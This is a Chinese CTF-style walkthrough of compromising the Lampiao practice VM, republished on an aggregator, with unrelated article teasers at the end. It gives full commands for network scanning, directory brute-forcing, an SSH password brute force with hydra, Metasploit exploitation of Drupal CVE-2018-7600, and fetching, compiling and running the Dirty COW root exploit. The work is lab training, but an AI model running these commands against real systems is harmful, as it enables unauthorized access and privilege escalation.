零基础渗透测试全程记录(打靶)——Lampiao

news2024/11/15 7:40:11

一、打靶总流程

1.确定目标:

        在本靶场中,确定目标就是使用nmap进行ip扫描,确定ip即为目标,只是针对此靶场而言。其他实战中确定目标的方式包括nmap进行扫描,但不局限于这个nmap。

2.信息收集:

        比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这个靶场中比如信息收集包括查看源码,使用工具dirb等。

3.发现漏洞:

        那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell。

4.漏洞利用:

        漏洞利用就是使用漏洞拿到webshell。

        webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。

5.权限提升:

        权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。

二、打靶实例详解


文章内的靶机及脚本关注后私信获取

        1.首先将靶机以及kali启动。

         2.注意将两者的网络适配器均调整为NAT模式(确保二者是在同一个网段下)。

         3.从kali中打开终端,执行ip a命令查看kali的ip地址。

        4.使用nmap工具来确认要打的靶机的ip地址。 

nmap -sP 192.168.190.0/24

        在上面扫描出的ip地址中,.1、.2、.254、.138都是其它的一些ip地址,所以在此确认要进行攻击的靶机的ip地址为:192.168.190.140。

        5.接下来继续进行信息收集,信息收集的方面以及方式有很多,这里信息收集是针对此靶机的信息收集。

        6.扫描靶机开放了哪些端口。

nmap -p- 192.168.190.140

        可以看到此靶机开放了22、80、1898端口。其中:开放了22端口ssh,可以想到对其进行爆破,然后通过命令行模式远程连接系统服务器;开放了80端口http,说明可以通过浏览器访问到其地址,可以对其进行常见漏洞测试;开放了1898端口,可以联想到访问web端时将其默认的80端口修改为1898进行访问 。 

        7.首先对80端口进行查看,发现并没有什么有价值的信息。

        8. 查看页面的源码,发现也没有有价值的信息。 

        9. 想到1898端口,对其进行访问,发现其是一个网页。

        来到这个网页,可以想到查看源代码、sql注入、扫目录等操作。

        10.点击网页内的图片发现访问了一个新的地址,其url内出现了参数。

        11.看到了参数就想到将其进行修改查看是否有其它有价值的页面。

        12.当将其修改为2后,可以看到新的网页内存在一个地址,对其进行访问后发现是一段录音,其告诉了我们一个用户名——tiago。

        13.继续尝试将其修改为3后发现没有什么可用信息。

        14.将其修改为4后发现找不到页面了,所以至此就没有继续修改下去的价值了。

        15. 至此又想到扫描这个站点的目录,因为开发人员在开发网站时可能会遗留一些关键性的文件,这些文件内可能存储一些非常重要的信息。

        16.使用dirb工具对网站目录进行扫描。

dirb http://192.168.190.140:1898/

        17.在扫描出的文件中,我们优先访问robots.txt文件,因为一般来说,robots.txt里面放的是一些不希望被搜索引擎的网络爬虫爬取到并收录的内容,因此就更有可能是我们需要的文件。

        18. 依次访问标记为Disallow的文件,当访问到CHANGELOG.txt文件的时候可以看到下面的内容,可以在返回的内容中看到版本信息——Drupal 7.54, 2017-02-01。

        19.至此,经过信息收集,我们获取到了下面两个信息:

  • 用户名:tiago
  • 版本:Drupal 7.54, 2017-02-01

        因此至此有了两条思路:

  • 利用已知用户名进行爆破
  • 利用已知的版本信息去网上搜索exp

        20.首先来尝试第一条思路,使用工具进行爆破。

        21.爆破之前需要使用cewl工具生成一个密码字典。

cewl http://192.168.190.140:1898/ -w password.txt

        22.接下来使用hydra工具来进行爆破,爆破之后成功得到了用户名所对应的密码——Virgulino。

hydra -l tiago -P password.txt 192.168.190.140 ssh

        23.用爆破获得的密码成功登录。

ssh tiago@192.168.190.140

        24.但是发现此时用户的权限是低权限,因此还要对用户进行提权。

  • id为0 ——root用户
  • 0 < id < 1000 ——服务用户: 为服务提供权限  
  • 1000 <= id <=60000 ——普通用户

        25.接下来尝试第二种思路,网上查找对应版本的漏洞。

        26.通过搜索查找到了一个远程代码执行漏洞(靶机的版本在漏洞的影响范围内)——CVE-2018-7600。

        27.接下来使用msfconsole工具来搜索对应的漏洞并进行漏洞利用。

msfconsole

        28.搜索对应版本,成功搜索出了8个exp。

search Drupal

        29.因为刚刚搜索到的漏洞是CVE-2018-7600,所以我们选择利用2018年的漏洞,也就是编号为1的exp。

        30.查看需要进行配置的参数。

show options

        31.进行参数配置。

set rhosts 192.168.190.140
set rport 1898

        32.执行run命令后,成功连接到了靶机。

run

        33.执行shell命令实现交互。

        34.发现进入的是一个伪终端,因此还要将其转换为真终端,执行下面的命令就将其变成了真终端。

python -c 'import pty; pty.spawn("/bin/bash")'

        35. 发现此时用户的权限是低权限,因此还要对用户进行提权。

        36.下面进行提权。

        下面是linux提权的几种方式:

  • 内核提权:脏牛提权最为典型 ,内核提权一般包括3个步骤,信息收集发现版本号,找到相关版本的exp,使用找到的exp对目标发起攻击,完成提权功能。
  • 利用suid提权 
  • 利用sudo提权
  • mfs提权
  • mysql提权:包括udf mof提权方式

        37.首先查看系统版本。

uname -a

        38.通过搜索,发现此版本可以使用脏牛提权。

        39.搜索exp。

searchsploit dirty

        40.将要使用的exp下载到本地。

locate linux/local/40847.cpp
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /home/kali/桌面

        41.再从本地开启web服务。

python3 -m http.server 8083

        42. 将exp下载到靶机,然后将其进行编译并执行。

cd /tmp
wget http://192.168.190.138:8083/40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o yc 40847.cpp -lutil
./yc

        43.切换到root用户,此时即为root权限。

su root
dirtyCowFun
id

        43.寻找flag。

        44.至此我们就成功拿下了靶机!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/802124.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

路由选择原理-静态路由(红茶三杯CCNA)

路由协议&#xff1a; 被动路由协议&#xff1a;用来在路由器之间传递用户的信息 主动路由协议&#xff1a;用于维护路由器的路由表 路由的来源&#xff1a; 直连路由C&#xff1a;直接连到路由器上的网络 静态路由S&#xff1a;管理员手工构建路由表 动态路由&#xff1a;路由…

APP开发入门:了解主流的编程语言

在过去的几年里&#xff0c;有许多程序员开始学习和使用编程语言。这其中包括C、C、 Java和 Python。尽管有许多语言可供选择&#xff0c;但大多数程序员都会选择最容易学习的编程语言。 如今&#xff0c;有很多编程语言供选择。程序员们在学习这些语言时可以自由地选择他们喜…

币安SDK实时架构

在对接币安的SDK时&#xff0c;虽然可以根据文档获取行情、管理订单&#xff0c;但是还是了解人家SDK的底层逻辑比较好。 Binance通过WebSocket实时推送行情、订单数据&#xff0c;这也是大多数交易所的通用方式&#xff0c;这里展示的是币安WSS架构。有缘者得之。 Binance W…

小爱音箱播放局域网NAS上的音乐(httpRandomMusic)

小爱音箱播放局域网NAS上的音乐&#xff08;httpRandomMusic&#xff09; 手上有一个小爱音箱Pro&#xff0c;拿来给小朋友玩&#xff0c;顺带查下天气&#xff0c;控制下家里电视、空调等家电&#xff0c;一直使用挺方便的。老早以前听歌都是百度一首首下载&#xff0c;然后放…

Psim 2022仿真软件的安装--Psim电力仿真实战教程

文章目录 Psim 2022 仿真软件安装及使用教程软件介绍1.下载psim 2022安装软件&#xff0c;有需要的亲请联系作者。2.点击安装文件3.点击进行安装&#xff1a;4.安装完成&#xff0c;打开软件&#xff0c;开始仿真5.仿真模型介绍5.1.单相全控整流电路仿真5.2 三相PFC可控整流电路…

【大虾送书第四期】《Python之光:Python编程入门与实战》

目录 ✨写在前面 ✨本书亮点 ✨强力推荐 ✨文末福利 &#x1f990;博客主页&#xff1a;大虾好吃吗的博客 &#x1f990;专栏地址&#xff1a;免费送书活动专栏地址 写在前面 作为一种极其流行的编程语言&#xff0c;Python已经成为了当今最为重要的生产力工具之一。无论小学生…

【电网异物检测硕士论文摘抄记录】电力巡检图像中基于深度学习的异物检测方法研究

根据国家电力行业发展报告统计&#xff0c;截止到 2018 年&#xff0c;全国电网 35 千伏及以上的输电线路回路长度达到 189 万千米&#xff0c;220 千伏及以上输电线路回路长度达73 万千米。截止到 2015年&#xff0c;根据国家电网公司的统计 330 千伏及以上输电线路故障跳闸总…

Linux内存文件系统tmpfs的使用方法

1、tmpfs理论 默认的Linux发行版中的内核配置都会开启tmpfs&#xff0c;映射到了/dev/下的shm目录。可以通过df 命令查看结果. /dev/shm/是linux下一个非常有用的目录&#xff0c;因为这个目录不在硬盘上&#xff0c;而是在内存里。因此在linux下&#xff0c;就不需要大费周折…

python的web学习(一)-初识django

文章目录 软件创建项目默认项目文件说明App的概念(应用)apps.py编写URL和视图函数对应关系【urls.py】编写视图函数【views.py】启动服务 软件 python下载 django下载 创建项目 django-admin startproject 文件名默认项目文件说明 项目名 manage.py(项目管理&#xff0c;启…

打造完美直播体验:美颜技术与美型SDK的融合

随着直播行业的蓬勃发展&#xff0c;主播们对于直播体验的要求也日益提高。其中&#xff0c;美颜技术和美型SDK的融合为主播们带来了前所未有的完美直播体验。本文将深入探讨美颜技术和美型SDK的原理与应用&#xff0c;以及这两者如何协同工作&#xff0c;为直播行业带来更具吸…

记录egg官方初始化项目失败解决方案

快速初始化 我们推荐直接使用脚手架&#xff0c;只需几条简单指令&#xff0c;即可快速生成项目&#xff08;npm >6.1.0&#xff09;: $ mkdir egg-example && cd egg-example $ npm init egg --typesimple $ npm i 但是在某些情况下&#xff0c;会安装失败&…

Qt —— Vs2017编译hiredis源码并测试调用(附调用hiredis库源码)

下载hiredis源码 编译hiredis源码 1、解压下载的hiredis源码包,如图使用Vs2017打开hiredis_win.sln 2、如下两图,Vs2017打开.sln后点击升级。 分别对两个工程的debug、release进行配置。Debug配置为多线程调试DLL(MDd)、Release配置为多线程DLL(/MD),这样做是为了配合被调用…

Android开发:通过Tesseract第三方库实现OCR

一、引言 什么是OCR&#xff1f;OCR(Optical Character Recognition&#xff0c;光学字符识别)是指电子设备(例如扫描仪或数码相机)检查纸上打印的字符&#xff0c;通过检测暗、亮的模式确定其形状&#xff0c;然后用字符识别方法将形状翻译成计算机文字的过程。简单地说&#…

YAML+PyYAML笔记 6 | PyYAML源码之yaml.scan(),yaml.parse(),yaml.compose()

6 | PyYAML源码之yaml.scan&#xff0c;yaml.parse, yaml.compose 0 yaml文档1 yaml.scan()2 yaml.parse()3 yaml.compose() 0 yaml文档 以下示例来源于网络&#xff0c;便于后续学习用, 文档为config_yaml.yaml。 {name: John Doe,age: 28,hobbies: [hiking, cooking, fishi…

生信分析案例 Python简明教程 | 视频15

开源生信 Python教程 生信专用简明 Python 文字和视频教程 源码在&#xff1a;https://github.com/Tong-Chen/Bioinfo_course_python 目录 背景介绍 编程开篇为什么学习Python如何安装Python如何运行Python命令和脚本使用什么编辑器写Python脚本Python程序事例Python基本语法 数…

怎样修改LED显示屏的显示内容

每个LED显示屏通常都附带配套的控制卡和相应的管理软件。安装完LED显示屏后&#xff0c;只需连接控制卡和电源&#xff0c;并通过运行管理软件&#xff0c;便能轻松地更换LED显示屏的显示内容。 更改LED显示屏内容非常便捷&#xff0c;我们可以使用电脑、手机或者U盘等设备进行…

html实现蜂窝菜单

效果图 CSS样式 keyframes _fade-in_mkmxd_1 {0% {filter: blur(20px);opacity: 0}to {filter: none;opacity: 1} } keyframes _drop-in_mkmxd_1 {0% {transform: var(--transform) translateY(-100px) translateZ(400px)}to {transform: var(--transform)} } ._examples_mkmx…

layui各种事件无效(例如表格重载或 分页插件按钮失效)的解决方法

下图是我一个系统的操作日志&#xff0c;在分页插件右下角嵌入了一个导出所有数据的按钮 &#xff0c;代码没有任何问题&#xff0c;点击导出按钮却失效 排查之后&#xff0c;发现表格标签table定义了ID又定义了lay-filter&#xff0c;因我使用的layui从2.7.6升级到2.8.11&…

JMeter接口测试:BeanShell实现接口的加密和解密

前些天用JMeter写了一个接口的自动化脚本&#xff0c;请求参数加密和响应数据解密都覆盖到了&#xff0c;中间涉及了BeanShell脚本编写和导入jar包的一些方法&#xff0c;想着挺有代表性的&#xff0c;分享给大家&#xff0c;希望对大家的接口自动化测试有所启发。 这是一个注册…

简化Java单元测试数据

用EasyModeling简化Java单元测试 EasyModeling 是我在2021年圣诞假期期间开发的一个 Java 注解处理器&#xff0c;采用 Apache-2.0 开源协议。它可以帮助 Java 单元测试的编写者快速构造用于测试的数据模型实例&#xff0c;简化 Java 项目在单元测试中准备测试数据的工作&…